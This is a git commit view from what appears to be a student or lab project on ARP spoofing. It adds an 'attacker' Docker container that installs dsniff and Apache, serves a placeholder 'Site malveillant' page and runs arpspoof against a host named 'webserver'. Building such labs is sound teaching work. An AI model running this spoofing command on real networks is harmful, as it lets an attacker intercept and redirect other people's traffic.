Merge branch 'main' of git.leizour.fr:CyberFlingues/arp-spoofing into main
This commit is contained in:
commit
906a9ecb61
34 changed files with 3 additions and 3 deletions
15
apache/attacker/dockerfile
Normal file
15
apache/attacker/dockerfile
Normal file
|
@ -0,0 +1,15 @@
|
|||
FROM debian
|
||||
|
||||
|
||||
COPY ./ip_forward /usr/local/bin/ip_forward
|
||||
COPY ./index1.html /var/www/html/
|
||||
|
||||
|
||||
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& apache2ctl start
|
||||
|
||||
|
||||
|
||||
|
||||
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]
|
11
apache/attacker/index1.html
Normal file
11
apache/attacker/index1.html
Normal file
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Page internet</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Site malveillant</h1>
|
||||
</body>
|
||||
</html>
|
1
apache/attacker/ip_forward
Normal file
1
apache/attacker/ip_forward
Normal file
|
@ -0,0 +1 @@
|
|||
1
|
Loading…
Add table
Add a link
Reference in a new issue